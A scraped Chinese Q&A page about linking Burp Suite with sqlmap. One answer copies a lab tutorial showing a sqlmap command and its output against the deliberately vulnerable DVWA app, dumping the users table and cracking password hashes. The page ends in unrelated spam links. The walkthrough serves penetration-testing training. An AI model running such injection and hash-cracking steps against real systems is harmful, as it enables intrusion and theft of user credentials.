问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

如何编写burpsuite联动sqlmap的插件

发布网友 发布时间:2022-04-07 16:52

我来回答

2个回答

懂视网 时间:2022-04-07 21:13


  [2 tables]
  +----------------------------------------------+
  | guestbook |
  | users |
  +----------------------------------------------+

以上这些操作说明是可以进行sql注入的,也获取到了dvwa的数据库表的名称,这里可以看到有一个users表,接下来就可以对这个表进行探测,看看里面是不是有一些有用的信息。

  • 获取用户表并破解密码:
  •    操作如下,有详细的流程,此处不再赘述。

    root@riverbaby:/var/www# sqlmap -r /home/flyer/test-sec/1 --search -D dvwa -T users
    _
    ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150510}
    |_ -| . | | | .‘| . |
    |___|_ |_|_|_|_|__,| _|
    |_| |_| http://sqlmap.org

     

    do you want sqlmap to consider provided table(s):
    [1] as LIKE table names (default)
    [2] as exact table names
    > 2
    [21:35:03] [INFO] searching table ‘users‘ for database ‘dvwa‘
    [21:35:03] [WARNING] reflective value(s) found and filtering out
    Database: dvwa
    [1 table]
    +-------+
    | users |
    +-------+

    do you want to dump tables‘ entries? [Y/n] y
    which database(s)?
    [a]ll (default)
    [dvwa]
    [q]uit
    > dvwa
    which table(s) of database ‘dvwa‘?
    [a]ll (default)
    [users]
    [s]kip
    [q]uit
    > users
    [21:35:24] [INFO] fetching columns for table ‘users‘ in database ‘dvwa‘
    [21:35:24] [INFO] fetching entries for table ‘users‘ in database ‘dvwa‘
    [21:35:24] [INFO] analyzing table dump for possible password hashes
    [21:35:24] [INFO] recognized possible password hashes in column ‘password‘
    do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
    [21:35:30] [INFO] writing hashes to a temporary file ‘/tmp/sqlmapmLIBoQ15506/sqlmaphashes-RpFiGo.txt‘
    do you want to crack them via a dictionary-based attack? [Y/n/q] y
    [21:35:36] [INFO] using hash method ‘md5_generic_passwd‘
    what dictionary do you want to use?
    [1] default dictionary file ‘/usr/share/sqlmap/txt/wordlist.zip‘ (press Enter)
    [2] custom dictionary file
    [3] file with list of dictionary files
    >
    [21:35:47] [INFO] using default dictionary
    do you want to use common password suffixes? (slow!) [y/N] y
    [21:35:54] [INFO] starting dictionary-based cracking (md5_generic_passwd)
    [21:35:54] [INFO] starting 2 processes
    [21:35:54] [INFO] cracked password ‘1111‘ for hash ‘b59c67bf196a4758191e42f76670ceba‘
    [21:35:57] [INFO] cracked password ‘abc123‘ for hash ‘e99a18c428cb38d5f260853678922e03‘
    [21:36:00] [INFO] cracked password ‘charley‘ for hash ‘8d3533d75ae2c3966d7e0d4fcc69216b‘
    [21:36:05] [INFO] cracked password ‘letmein‘ for hash ‘0d107d09f5bbe40cade3de5c71e9e9b7‘
    [21:36:07] [INFO] cracked password ‘password‘ for hash ‘5f4dcc3b5aa765d61d8327deb882cf99‘
    [21:36:11] [INFO] postprocessing table dump
    Database: dvwa
    Table: users
    [5 entries]
    +---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+
    | user_id | user | avatar | password | last_name | first_name |
    +---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+
    | 1 | admin | http://localhost/dvwa/hackable/users/admin.jpg | b59c67bf196a4758191e42f76670ceba (1111) | admin | admin |
    | 2 | gordonb | http://localhost/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon |
    | 3 | 1337 | http://localhost/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack |
    | 4 | pablo | http://localhost/dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo |
    | 5 | smithy | http://localhost/dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob |
    +---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+

     

    0x3:总结

      破解成功,可以看到用户名和密码都已经列出来了。

      在网站设计的时候一定要考虑是否有sql注入的漏洞,否则很容易就会泄漏用户的敏感信息。

      这里破解密码hash用的是sqlmap自带的字典,很快就破解出来了,说明用户密码设置得并不安全。

      密码一定不能使用常用的组合或者意义过于明确的数据。

     

      

    通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解

    标签:

    热心网友 时间:2022-04-07 18:21

    burpsuite和sqlmap是渗透测试中最常用到的两大神器。
    最中意的功能是利用burpsuite拦截http请求,然后用sqlmap的r参数读取。但每次重复这个动作有点烦,特别是Mac下默认不能右击新建文件。
    所以一直在找联动burpsuite和sqlmap的插件。在找到的方案中,gason已经很久没更新了;
    红黑联盟发的这个插件很不错,但是不适配Mac;
    比较好的是bapp中的co2,但是调用的不是sqlmap的r参数,而是u参数,无法实现对http请求的全部利用。
    声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
    绩效工资从工资里扣合法吗 无人机电机轴的主要功能有哪些? 闽侯南通多久发展 南通哪个位置最有潜力 南通未来的机遇有哪些 江苏南通的发展前景怎么样 南通这座城市未来发展前景怎样 我女儿阳历08年01月08日出生,{农历07年腊月初一}请高人帮忙改个名字... 我女儿是2012年1月10日10:35分出生的五行缺什么,取什么名字好 这种图片效果怎么做出来的,不是纯白板,仔细看有一个个均匀分布的小圆点... 如何让小学生在美术课堂上动起来 怎么样才可以使学生在课堂上动起来,活跃一点! 如何让学生的思维动起来 语文课堂教学怎样让学生的思维真正动起来 墨尔本鬼步舞 曳步舞之月亮男孩视频系列-1视频背景音乐谁知道? 黄小妹在家用猪腿骨炖汤,配上糯的莲藕,王幺爷把骨油都抠来吃了 黄小妹和王幺爷城里买了房吗 中了autorun.inf毒 注册表和任务管理器全部禁用。 阿泰斯特的发型具体叫什么啊? 2020年山东事业单位统考报名人数从哪看? 2020年罗平6.13事业单位报考人数初中的是多少? 求 重生之老子是皇帝 百度云资源,谢谢 跪求主角是皇帝(重生到古代或异界的) 然后一步步打天下的小说 主角是那种帝王一怒 伏尸百万的 车牌识别5661kn白色的车,前面没记住,那里的车。 kn代表什么单位 KM开头的车牌号是哪个单位? kn是什么车牌 knsl车牌是什么意思? 哪位帮忙起名字啊, 女孩,爸爸姓王 大的叫王诗榆,小的要叫什么,女孩 如何让学生在数学课上动起来,课堂活起来 如何让学生在音乐课堂上“动起来” 西门子system SD卡能存储数据吗? 如何让学生在课堂上活跃起来 如何让学生在小学英语课堂中动起来 西门子s7-200 smart sd卡是专用的吗? 如何让课堂活起来:一、教师要“活”起来 SD/MMC/MS卡,分别是什么意思? 西门子内存卡怎么进行格式化 西门子触摸屏的存储卡方分不分型号? 使用西门子SD卡可不可以格式化S7-300存储卡? 西门子s7-200 smart sd卡是专用的吗 什么是MS卡,XD卡,SD卡,CF卡,TF卡他们都有什么区别? sd卡怎么下载西门子初始化文件? 怎样用sd卡更新西门子plc s7 1500程序 西门子S7-1200用SD卡下载程序后,拔卡之后PLC就不运行了 祭灶是什么意思? 梦见爸爸家的大鸭子和小鸡死了几只 西门子S7-300 PLC能否支持普通SD卡?貌似MMC和SD卡的厚度不同 祭灶啥意思